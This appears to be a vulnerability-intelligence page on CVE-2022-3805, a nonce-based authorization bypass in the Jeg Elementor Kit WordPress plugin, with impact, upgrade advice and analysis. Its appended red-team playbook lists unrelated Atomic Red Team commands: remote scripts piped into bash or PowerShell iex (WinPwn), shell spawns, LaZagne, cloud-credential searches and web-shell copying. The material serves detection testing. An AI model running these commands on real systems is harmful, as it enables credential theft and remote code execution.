CVE-2022-3805
Overview
This vulnerability is an authorization bypass in the Jeg Elementor Kit plugin for WordPress, caused by improper validation of nonce tokens in functions that update plugin settings. The affected component is the plugin’s settings update mechanism, which fails to enforce proper user authorization checks, allowing unauthenticated users to perform privileged actions. The flaw resides in the handling of nonce values that are accessible on plugin-edited pages, enabling bypass of intended access controls.
Vulnerability Description
The Jeg Elementor Kit plugin for WordPress is vulnerable to authorization bypass in various functions used to update the plugin settings in versions up to, and including, 2.5.6. Unauthenticated users can use an easily available nonce, obtained from pages edited by the plugin, to update the MailChimp API key, global styles, 404 page settings, and enabled elements.
Impact
An attacker without authentication can exploit this flaw to modify critical plugin configurations, including injecting a malicious MailChimp API key or altering site appearance and behavior by changing global styles and 404 page settings. This can lead to unauthorized data exposure, site defacement, or disruption of site functionality. The vulnerability requires no user interaction or privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), enabling remote exploitation by any visitor with access to plugin pages.
Solution
Users should upgrade Jeg Elementor Kit for Elementor to version 2.5.7 or later, where the authorization bypass has been addressed. Detailed patch information and update instructions are available in the WordPress plugin repository changelog and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013. No alternative workarounds are documented; timely application of the vendor’s update is required to mitigate the issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Jeg Elementor Kit plugin for WordPress contains a significant vulnerability that allows unauthorized users to bypass authentication mechanisms. This flaw exists in various functions responsible for updating plugin settings, including critical configurations such as the MailChimp API key and global style settings. The vulnerability arises from the improper validation of nonces, which are intended to secure requests against cross-site request forgery (CSRF) attacks. In this case, an attacker can exploit the nonce generated on pages edited by the plugin, allowing them to perform unauthorized actions without needing to authenticate as a legitimate user. This misconfiguration in the security controls fundamentally undermines the integrity of the plugin's settings.
Attack vectors for this vulnerability are notably straightforward. An attacker can leverage the publicly accessible nonce to craft requests that modify the plugin's settings. For instance, by accessing a page where the nonce is generated, an attacker can capture it and subsequently use it to send malicious requests to the server. This could include altering the MailChimp API key, which could lead to data exfiltration or manipulation of email marketing campaigns. Additionally, changing global styles or 404 page settings could disrupt the website's functionality or user experience, potentially leading to further exploitation or loss of customer trust.
The real-world impact of this vulnerability can be severe, particularly for businesses relying on the Jeg Elementor Kit plugin for their WordPress sites. An attacker gaining control over the MailChimp API key could manipulate email communications, leading to phishing attempts or unauthorized access to sensitive customer data. Furthermore, the ability to alter global styles and 404 page settings can degrade the user experience, resulting in lost revenue and damage to brand reputation. The business risk associated with this vulnerability extends beyond immediate financial loss; it can also lead to regulatory scrutiny, especially if customer data is compromised, which may result in legal repercussions and fines.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the Jeg Elementor Kit plugin to the latest version is crucial, as this will ensure that any patches addressing the vulnerability are applied. Additionally, employing web application firewalls (WAF) can help monitor and filter out malicious requests attempting to exploit this flaw. Organizations should also conduct routine security audits and penetration testing to identify potential vulnerabilities in their WordPress installations. Educating users about the importance of nonce validation and secure coding practices can further enhance the security posture of applications utilizing this plugin.
In conclusion, the authorization bypass vulnerability in the Jeg Elementor Kit plugin poses a significant threat to WordPress sites, allowing unauthorized users to manipulate critical settings. The simplicity of the attack vectors and the potential for severe real-world impacts underscore the importance of proactive security measures. By adopting robust detection and mitigation strategies, organizations can protect themselves from the risks associated with this vulnerability and ensure the integrity of their web applications.
Recent updates to the CVSS scoring for CVE-2022-3805 reflect a reassessment of the vulnerability’s impact, increasing its severity rating from 7.5 to 8.6. This adjustment underscores a heightened recognition of the potential consequences stemming from unauthorized manipulation of critical plugin settings, such as the MailChimp API key and global styles, which could facilitate broader compromise of affected WordPress sites. Concurrently, CSURFACE threat intelligence notes a moderate decline in the Exploit Prediction Scoring System (EPSS) value, indicating a slight reduction in the likelihood of active exploitation attempts in the near term. Our telemetry corroborates this trend, showing no emergence of new proof-of-concept exploits or a marked escalation in attack activity targeting this vulnerability. For defenders, this nuanced shift means that while the intrinsic risk posed by the vulnerability remains high due to its ease of exploitation and impact scope, the immediate threat environment appears somewhat less volatile. Consequently, the overall threat level is reaffirmed as high but tempered by a currently subdued exploitation landscape, emphasizing the importance of maintaining vigilance without overstating imminent exploitation risks.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Jegtheme | Jeg Elementor Kit | All |
cpe:2.3:a:jegtheme:jeg_elementor_kit:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-3805 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013 |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/jeg-elementor-kit/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=2811758%40jeg-elementor-kit%2Ftrunk&old=2810568%40jeg-elementor-kit%2Ftrunk&sfp_email=&sfph_mail= |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/c9955d65-afb3-4d28-abd2-9f2fec92d013?source=cve |